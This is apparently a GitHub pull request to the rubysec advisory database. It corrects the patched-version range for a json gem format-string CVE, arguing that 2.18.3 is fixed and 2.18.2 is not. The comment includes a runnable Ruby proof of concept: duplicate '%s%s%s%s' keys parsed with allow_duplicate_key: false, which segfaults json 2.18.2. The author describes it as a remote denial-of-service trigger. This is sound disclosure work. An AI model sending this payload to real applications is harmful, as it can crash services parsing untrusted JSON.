Skip to content

json CVE-2026-33210: add 2.18.3 to patched_versions - #1344

Open
imoshkinlocal wants to merge 1 commit into
rubysec:masterfrom
imoshkinlocal:fix/json-2.18.3-patched-version
Open

imoshkinlocal wants to merge 1 commit into
rubysec:masterfrom
imoshkinlocal:fix/json-2.18.3-patched-version

Conversation

@imoshkinlocal

Copy link
Copy Markdown

What

Adds "~> 2.18.3" to patched_versions in
gems/json/CVE-2026-33210.yml (GHSA-3m6g-2423-7cp3, format string injection
in JSON.parse(allow_duplicate_key: false)).

The advisory currently lists ~> 2.15.2.1, ~> 2.17.1.2 and >= 2.19.2, so
every 2.18.x release is reported as vulnerable, including the patched
2.18.3 (released 2026-11-13). That range (>= 2.18.3, < 2.19.0) is what
this PR adds; 2.19.0/2.19.1 stay flagged because the next fix is 2.19.2,
already covered by >= 2.19.2.

Why 2.18.3 and not 2.18.2

CHANGES.md in 2.18.3 has a single entry dated 2026-11-02 (2.18.2) that
mentions the GHSA, which makes it look like the fix shipped in 2.18.2. It did
not — the 2.18.2 tarball still passes the user-controlled key through
rb_sprintf:

// json 2.18.2, ext/json/ext/parser/parser.c
static void raise_duplicate_key_error(JSON_ParserState *state, VALUE duplicate_key)
{
    VALUE message = rb_sprintf("duplicate key %"PRIsVALUE, rb_inspect(duplicate_key));
    raise_parse_error(RSTRING_PTR(message), state);   // user string as format
    RB_GC_GUARD(message);
}

2.18.3 rewrites this into build_parse_error_message / parse_error_new, so
the key is no longer used as a format string.

Verified by building both versions' C extensions and running the same PoC
({"%s%s%s%s":1,"%s%s%s%s":2} with allow_duplicate_key: false):

json result
2.18.2 crash — [BUG] Segmentation fault / abort (reproduced on Ruby 3.1.2 and 4.0.10)
2.18.3 JSON::ParserError: "duplicate key \"%s%s%s%s\" at line 1 column 1"

Ruby 4.0.10 ships json 2.18.3, and its ext/json/parser/parser.c matches
the 2.18.3 gem, so with the current metadata Ruby 4.0.10 is flagged as
vulnerable to CVE-2026-33210 even though the PoC only yields a literal %s
error message.

Validation

  • yamllint gems rubies — clean
  • rspec spec/schema_validation_spec.rb — 1571 examples, 0 failures
  • rspec spec/advisories_spec.rb — 72124 examples, 0 failures
  • Diff is one line, quoted value, 2-space indent as required.

@imoshkinlocal

Copy link
Copy Markdown
Author

Adding the runnable PoC used to verify the 2.18.2 / 2.18.3 split, in case
it's useful for reviewing this range change.

# json_dupkey_poc.rb
# CVE-2026-33210 / GHSA-3m6g-2423-7cp3
$stdout.sync = true
require "json"

puts "json #{JSON::VERSION}"

key = "%s%s%s%s"                 # attacker-controlled object key
doc = %({"#{key}":1,"#{key}":2}) # duplicate keys -> raise_duplicate_key_error

begin
  JSON.parse(doc, allow_duplicate_key: false)
  puts "no error (unexpected)"
rescue => e
  puts "#{e.class}: #{e.message.inspect}"
end

No sanitizer needed:

$ GEM_HOME=/tmp/json2182 gem install json -v 2.18.2 --no-document
$ GEM_HOME=/tmp/json2182 GEM_PATH=/tmp/json2182 ruby json_dupkey_poc.rb
json 2.18.2
.../gems/json-2.18.2/lib/json/common.rb:353: [BUG] Segmentation fault at 0x0000000000000027
ruby 3.1.2p20 (2022-04-12 revision 4491bb740a) [x86_64-linux-gnu]

-- Control frame information -----------------------------------------------
c:0004 p:---- s:0021 e:000020 CFUNC  :parse
c:0003 p:0039 s:0015 e:000014 METHOD .../json-2.18.2/lib/json/common.rb:353
c:0002 p:0094 s:0009 E:002288 EVAL   json_dupkey_poc.rb:11 [FINISH]
$ echo $?
134
$ GEM_HOME=/tmp/json2183 gem install json -v 2.18.3 --no-document
$ GEM_HOME=/tmp/json2183 GEM_PATH=/tmp/json2183 ruby json_dupkey_poc.rb
json 2.18.3
JSON::ParserError: "duplicate key \"%s%s%s%s\" at line 1 column 1"

So 2.18.2 does not just mishandle the format string — it dereferences the
%s arguments and aborts the process (SIGSEGV / [BUG]), i.e. a single
JSON.parse(user_input, allow_duplicate_key: false) is a trivial remote DoS,
which is consistent with CVSS 8.3. 2.18.3 returns a normal JSON::ParserError
with the key rendered literally.

Same results on Ruby 3.1.2 and on Ruby 4.0.10 (which ships json 2.18.3, so it
is not affected despite being inside the currently advertised < 2.19.2
range).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant